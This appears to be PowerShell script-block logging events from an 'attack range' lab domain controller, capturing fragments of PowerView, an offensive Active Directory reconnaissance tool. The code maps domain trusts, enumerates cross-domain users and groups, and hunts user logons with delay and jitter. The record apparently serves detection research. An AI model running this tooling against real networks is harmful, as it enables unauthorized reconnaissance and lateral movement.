4104132150x0124465Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local5454c advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError),
(func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),
(func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError),
(func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError),
(func advapi32 RevertToSelf ([Bool]) @() -SetLastError),
(func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),
(func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
(func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
(func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),
(func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),
(func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])),
(func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])),
(func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])),
(func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError)
)
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
$Netapi32 = $Types['netapi32']
$Advapi32 = $Types['advapi32']
$Wtsapi32 = $Types['wtsapi32']
$Mpr = $Types['Mpr']
$Kernel32 = $Types['kernel32']
Set-Alias Get-IPAddress Resolve-IPAddress
Set-Alias Convert-NameToSid ConvertTo-SID
Set-Alias Convert-SidToName ConvertFrom-SID
Set-Alias Request-SPNTicket Get-DomainSPNTicket
Set-Alias Get-DNSZone Get-DomainDNSZone
Set-Alias Get-DNSRecord Get-DomainDNSRecord
Set-Alias Get-NetDomain Get-Domain
Set-Alias Get-NetDomainController Get-DomainController
Set-Alias Get-NetForest Get-Forest
Set-Alias Get-NetForestDomain Get-ForestDomain
Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog
Set-Alias Get-NetUser Get-DomainUser
Set-Alias Get-UserEvent Get-DomainUserEvent
Set-Alias Get-NetComputer Get-DomainComputer
Set-Alias Get-ADObject Get-DomainObject
Set-Alias Set-ADObject Set-DomainObject
Set-Alias Get-ObjectAcl Get-DomainObjectAcl
Set-Alias Add-ObjectAcl Add-DomainObjectAcl
Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl
Set-Alias Get-GUIDMap Get-DomainGUIDMap
Set-Alias Get-NetOU Get-DomainOU
Set-Alias Get-NetSite Get-DomainSite
Set-Alias Get-NetSubnet Get-DomainSubnet
Set-Alias Get-NetGroup Get-DomainGroup
Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup
Set-Alias Get-NetGroupMember Get-DomainGroupMember
Set-Alias Get-NetFileServer Get-DomainFileServer
Set-Alias Get-DFSshare Get-DomainDFSShare
Set-Alias Get-NetGPO Get-DomainGPO
Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup
Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping
Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping
Set-Alias Get-LoggedOnLocal Get-RegLoggedOn
Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess
Set-Alias Get-SiteName Get-NetComputerSiteName
Set-Alias Get-Proxy Get-WMIRegProxy
Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn
Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection
Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive
Set-Alias Get-NetProcess Get-WMIProcess
Set-Alias Invoke-ThreadedFunction New-ThreadedFunction
Set-Alias Invoke-UserHunter Find-DomainUserLocation
Set-Alias Invoke-ProcessHunter Find-DomainProcess
Set-Alias Invoke-EventHunter Find-DomainUserEvent
Set-Alias Invoke-ShareFinder Find-DomainShare
Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile
Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember
Set-Alias Get-NetDomainTrust Get-DomainTrust
Set-Alias Get-NetForestTrust Get-ForestTrust
Set-Alias Find-ForeignUser Get-DomainForeignUser
Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember
Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping
Set-Alias Get-DomainPolicy Get-DomainPolicyData
69859593-9fd6-4276-9750-0d12703f9101
4104132150x0124463Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local5254earcherArguments = @{}
$SearcherArguments['LDAPFilter'] = '(memberof=*)'
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw }
}
PROCESS {
Get-DomainUser @SearcherArguments | ForEach-Object {
ForEach ($Membership in $_.memberof) {
$Index = $Membership.IndexOf('DC=')
if ($Index) {
$GroupDomain = $($Membership.SubString($Index)) -replace 'DC=','' -replace ',','.'
$UserDistinguishedName = $_.distinguishedname
$UserIndex = $UserDistinguishedName.IndexOf('DC=')
$UserDomain = $($_.distinguishedname.SubString($UserIndex)) -replace 'DC=','' -replace ',','.'
if ($GroupDomain -ne $UserDomain) {
# if the group domain doesn't match the user domain, display it
$GroupName = $Membership.Split(',')[0].split('=')[1]
$ForeignUser = New-Object PSObject
$ForeignUser | Add-Member Noteproperty 'UserDomain' $UserDomain
$ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname
$ForeignUser | Add-Member Noteproperty 'UserDistinguishedName' $_.distinguishedname
$ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain
$ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName
$ForeignUser | Add-Member Noteproperty 'GroupDistinguishedName' $Membership
$ForeignUser.PSObject.TypeNames.Insert(0, 'PowerView.ForeignUser')
$ForeignUser
}
}
}
}
}
}
function Get-DomainForeignGroupMember {
<#
.SYNOPSIS
Enumerates groups with users outside of the group's domain and returns
each foreign member. This is a domain's "incoming" access.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Domain, Get-DomainGroup
.DESCRIPTION
Uses Get-DomainGroup to enumerate all groups for the current (or target) domain,
then enumerates the members of each group, and compares the member's domain
name to the parent group's domain name, outputting the member if the domains differ.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainForeignGroupMember
Return all group members in the current domain where the group and member differ.
.EXAMPLE
Get-DomainForeignGroupMember -Domain dev.testlab.local
Return all group members in the dev.testlab.local domain where the member is not in dev.testlab.local.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainForeignGroupMember -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred
Return all group members in the dev.testlab.local domain where the member is
not in dev.testlab.local. binding to the secondary.dev.testlab.local for
queries, and using the specified alternate credentials.
.OUTPUTS
PowerView.ForeignGroupMember
Custom PSObject with translated group member property fields.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ForeignGroupMember')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{}
$SearcherArguments['LDAPFilter'] = '(member=*)'
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw }
}
PROCESS {
# standard group names to ignore
$ExcludeGroups = @('Users', 'Domain Users', 'Guests')
Get-DomainGroup @SearcherArguments | Where-Object { $ExcludeGroups -notcontains $_.samaccountname } | ForEach-Object {
$GroupName = $_.samAccountName
$GroupDistinguishedName = $_.distinguishedname
$GroupDomain = $GroupDistinguishedName.SubString($GroupDistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
$_.member | ForEach-Object {
# filter for foreign SIDs in the cn field for users in another domain,
# or if the DN doesn't end with the proper DN for the queried domain
$MemberDomain = $_.SubString($_.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
if (($_ -match 'CN=S-1-5-21.*-.*') -or ($GroupDomain -ne $MemberDomain)) {
$MemberDistinguishedName = $_
$MemberName = $_.Split(',')[0].split('=')[1]
$ForeignGroupMember = New-Object PSObject
$ForeignGroupMember | Add-Member Noteproperty 'GroupDomain' $GroupDomain
$ForeignGroupMember | Add-Member Noteproperty 'GroupName' $GroupName
$ForeignGroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupDistinguishedName
$ForeignGroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain
$ForeignGroupMember | Add-Member Noteproperty 'MemberName' $MemberName
$ForeignGroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDistinguishedName
$ForeignGroupMember.PSObject.TypeNames.Insert(0, 'PowerView.ForeignGroupMember')
$ForeignGroupMember
}
}
}
}
}
function Get-DomainTrustMapping {
<#
.SYNOPSIS
This function enumerates all trusts for the current domain and then enumerates
all trusts for each domain it finds.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Domain, Get-DomainTrust, Get-ForestTrust
.DESCRIPTION
This function will enumerate domain trust relationships for the current domain using
a number of methods, and then enumerates all trusts for each found domain, recursively
mapping all reachable trust relationships. By default, and LDAP search using the filter
'(objectClass=trustedDomain)' is used- if any LDAP-appropriate parameters are specified
LDAP is used as well. If the -NET flag is specified, the .NET method
GetAllTrustRelationships() is used on the System.DirectoryServices.ActiveDirectory.Domain
object. If the -API flag is specified, the Win32 API DsEnumerateDomainTrusts() call is
used to enumerate instead. If any
.PARAMETER API
Switch. Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the
built-in LDAP method.
.PARAMETER NET
Switch. Use .NET queries to enumerate trusts instead of the default LDAP method.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainTrustMapping | Export-CSV -NoTypeInformation trusts.csv
Map all reachable domain trusts using .NET methods and output everything to a .csv file.
.EXAMPLE
Get-DomainTrustMapping -API | Export-CSV -NoTypeInformation trusts.csv
Map all reachable domain trusts using Win32 API calls and output everything to a .csv file.
.EXAMPLE
Get-DomainTrustMapping -NET | Export-CSV -NoTypeInformation trusts.csv
Map all reachable domain trusts using .NET methods and output everything to a .csv file.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainTrustMapping -Server 'PRIMARY.testlab.local' | Export-CSV -NoTypeInformation trusts.csv
Map all reachable domain trusts using LDAP, binding to the PRIMARY.testlab.local server for queries
using the specified alternate credentials, and output everything to a .csv file.
.OUTPUTS
PowerView.DomainTrust.LDAP
Custom PSObject with translated domain LDAP trust result fields (default).
PowerView.DomainTrust.NET
A TrustRelationshipInformationCollection returned when using .NET methods.
PowerView.DomainTrust.API
Custom PSObject with translated domain API trust result fields.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.DomainTrust.NET')]
[OutputType('PowerView.DomainTrust.LDAP')]
[OutputType('PowerView.DomainTrust.API')]
[CmdletBinding(DefaultParameterSetName = 'LDAP')]
Param(
[Parameter(ParameterSetName = 'API')]
[Switch]
$API,
[Parameter(ParameterSetName = 'NET')]
[Switch]
$NET,
[Parameter(ParameterSetName = 'LDAP')]
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[Parameter(ParameterSetName = 'LDAP')]
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[Parameter(ParameterSetName = 'LDAP')]
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[Parameter(ParameterSetName = 'LDAP')]
[Parameter(ParameterSetName = 'API')]
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Parameter(ParameterSetName = 'LDAP')]
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[Parameter(ParameterSetName = 'LDAP')]
[ValidateRange69859593-9fd6-4276-9750-0d12703f9101
4104132150x0124462Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local5154 $NetSearcherArguments = @{}
if ($Domain -and $Domain.Trim() -ne '') {
$SourceDomain = $Domain
}
else {
if ($PSBoundParameters['Credential']) {
$SourceDomain = (Get-Domain -Credential $Credential).Name
}
else {
$SourceDomain = (Get-Domain).Name
}
}
}
elseif ($PsCmdlet.ParameterSetName -ne 'NET') {
if ($Domain -and $Domain.Trim() -ne '') {
$SourceDomain = $Domain
}
else {
$SourceDomain = $Env:USERDNSDOMAIN
}
}
if ($PsCmdlet.ParameterSetName -eq 'LDAP') {
# if we're searching for domain trusts through LDAP/ADSI
$TrustSearcher = Get-DomainSearcher @LdapSearcherArguments
$SourceSID = Get-DomainSID @NetSearcherArguments
if ($TrustSearcher) {
$TrustSearcher.Filter = '(objectClass=trustedDomain)'
if ($PSBoundParameters['FindOne']) { $Results = $TrustSearcher.FindOne() }
else { $Results = $TrustSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
$Props = $_.Properties
$DomainTrust = New-Object PSObject
$TrustAttrib = @()
$TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] }
$Direction = Switch ($Props.trustdirection) {
0 { 'Disabled' }
1 { 'Inbound' }
2 { 'Outbound' }
3 { 'Bidirectional' }
}
$TrustType = Switch ($Props.trusttype) {
1 { 'WINDOWS_NON_ACTIVE_DIRECTORY' }
2 { 'WINDOWS_ACTIVE_DIRECTORY' }
3 { 'MIT' }
}
$Distinguishedname = $Props.distinguishedname[0]
$SourceNameIndex = $Distinguishedname.IndexOf('DC=')
if ($SourceNameIndex) {
$SourceDomain = $($Distinguishedname.SubString($SourceNameIndex)) -replace 'DC=','' -replace ',','.'
}
else {
$SourceDomain = ""
}
$TargetNameIndex = $Distinguishedname.IndexOf(',CN=System')
if ($SourceNameIndex) {
$TargetDomain = $Distinguishedname.SubString(3, $TargetNameIndex-3)
}
else {
$TargetDomain = ""
}
$ObjectGuid = New-Object Guid @(,$Props.objectguid[0])
$TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value
$DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain
$DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0]
# $DomainTrust | Add-Member Noteproperty 'TargetGuid' "{$ObjectGuid}"
$DomainTrust | Add-Member Noteproperty 'TrustType' $TrustType
$DomainTrust | Add-Member Noteproperty 'TrustAttributes' $($TrustAttrib -join ',')
$DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction"
$DomainTrust | Add-Member Noteproperty 'WhenCreated' $Props.whencreated[0]
$DomainTrust | Add-Member Noteproperty 'WhenChanged' $Props.whenchanged[0]
$DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.LDAP')
$DomainTrust
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainTrust] Error disposing of the Results object: $_"
}
}
$TrustSearcher.dispose()
}
}
elseif ($PsCmdlet.ParameterSetName -eq 'API') {
# if we're searching for domain trusts through Win32 API functions
if ($PSBoundParameters['Server']) {
$TargetDC = $Server
}
elseif ($Domain -and $Domain.Trim() -ne '') {
$TargetDC = $Domain
}
else {
# see https://msdn.microsoft.com/en-us/library/ms675976(v=vs.85).aspx for default NULL behavior
$TargetDC = $Null
}
# arguments for DsEnumerateDomainTrusts
$PtrInfo = [IntPtr]::Zero
# 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND
$Flags = 63
$DomainCount = 0
# get the trust information from the target server
$Result = $Netapi32::DsEnumerateDomainTrusts($TargetDC, $Flags, [ref]$PtrInfo, [ref]$DomainCount)
# Locate the offset of the initial intPtr
$Offset = $PtrInfo.ToInt64()
# 0 = success
if (($Result -eq 0) -and ($Offset -gt 0)) {
# Work out how much to increment the pointer by finding out the size of the structure
$Increment = $DS_DOMAIN_TRUSTS::GetSize()
# parse all the result structures
for ($i = 0; ($i -lt $DomainCount); $i++) {
# create a new int ptr at the given offset and cast the pointer as our result structure
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
$Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS
$Offset = $NewIntPtr.ToInt64()
$Offset += $Increment
$SidString = ''
$Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
if ($Result -eq 0) {
Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
}
else {
$DomainTrust = New-Object PSObject
$DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain
$DomainTrust | Add-Member Noteproperty 'TargetName' $Info.DnsDomainName
$DomainTrust | Add-Member Noteproperty 'TargetNetbiosName' $Info.NetbiosDomainName
$DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags
$DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex
$DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType
$DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes
$DomainTrust | Add-Member Noteproperty 'TargetSid' $SidString
$DomainTrust | Add-Member Noteproperty 'TargetGuid' $Info.DomainGuid
$DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.API')
$DomainTrust
}
}
# free up the result buffer
$Null = $Netapi32::NetApiBufferFree($PtrInfo)
}
else {
Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
}
}
else {
# if we're searching for domain trusts through .NET methods
$FoundDomain = Get-Domain @NetSearcherArguments
if ($FoundDomain) {
$FoundDomain.GetAllTrustRelationships() | ForEach-Object {
$_.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.NET')
$_
}
}
}
}
}
function Get-ForestTrust {
<#
.SYNOPSIS
Return all forest trusts for the current forest or a specified forest.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest
.DESCRIPTION
This function will enumerate domain trust relationships for the current (or a remote)
forest using number of method using the .NET method GetAllTrustRelationships() on a
System.DirectoryServices.ActiveDirectory.Forest returned by Get-Forest.
.PARAMETER Forest
Specifies the forest to query for trusts, defaults to the current forest.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-ForestTrust
Return current forest trusts.
.EXAMPLE
Get-ForestTrust -Forest "external.local"
Return trusts for the "external.local" forest.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-ForestTrust -Forest "external.local" -Credential $Cred
Return trusts for the "external.local" forest using the specified alternate credenitals.
.OUTPUTS
PowerView.DomainTrust.NET
A TrustRelationshipInformationCollection returned when using .NET methods (default).
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ForestTrust.NET')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$NetForestArguments = @{}
if ($PSBoundParameters['Forest']) { $NetForestArguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $NetForestArguments['Credential'] = $Credential }
$FoundForest = Get-Forest @NetForestArguments
if ($FoundForest) {
$FoundForest.GetAllTrustRelationships() | ForEach-Object {
$_.PSObject.TypeNames.Insert(0, 'PowerView.ForestTrust.NET')
$_
}
}
}
}
function Get-DomainForeignUser {
<#
.SYNOPSIS
Enumerates users who are in groups outside of the user's domain.
This is a domain's "outgoing" access.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Domain, Get-DomainUser
.DESCRIPTION
Uses Get-DomainUser to enumerate all users for the current (or target) domain,
then calculates the given user's domain name based on the user's distinguishedName.
This domain name is compared to the queried domain, and the user object is
output if they differ.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainForeignUser
Return all users in the current domain who are in groups not in the
current domain.
.EXAMPLE
Get-DomainForeignUser -Domain dev.testlab.local
Return all users in the dev.testlab.local domain who are in groups not in the
dev.testlab.local domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainForeignUser -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred
Return all users in the dev.testlab.local domain who are in groups not in the
dev.testlab.local domain, binding to the secondary.dev.testlab.local for queries, and
using the specified alternate credentials.
.OUTPUTS
PowerView.ForeignUser
Custom PSObject with translated user property fields.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ForeignUser')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$S69859593-9fd6-4276-9750-0d12703f9101
4104132150x0124458Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local4754Each ($Key in $Keys) {
if ($_."$Key" -match $Filter[$Key]) {
$_
}
}
}
else {
# and all clauses
ForEach ($Key in $Keys) {
if ($_."$Key" -notmatch $Filter[$Key]) {
break
}
$_
}
}
}
}
}
else {
Get-DomainUserEvent @DomainUserEventArgs
}
}
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainUserEvent] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainUserEvent] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainUserEvent] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
$Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential
$Result
if ($Result -and $StopOnSuccess) {
Write-Verbose "[Find-DomainUserEvent] Target user found, returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainUserEvent] Using threading with threads: $Threads"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'StartTime' = $StartTime
'EndTime' = $EndTime
'MaxEvents' = $MaxEvents
'TargetUsers' = $TargetUsers
'Filter' = $Filter
'Credential' = $Credential
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
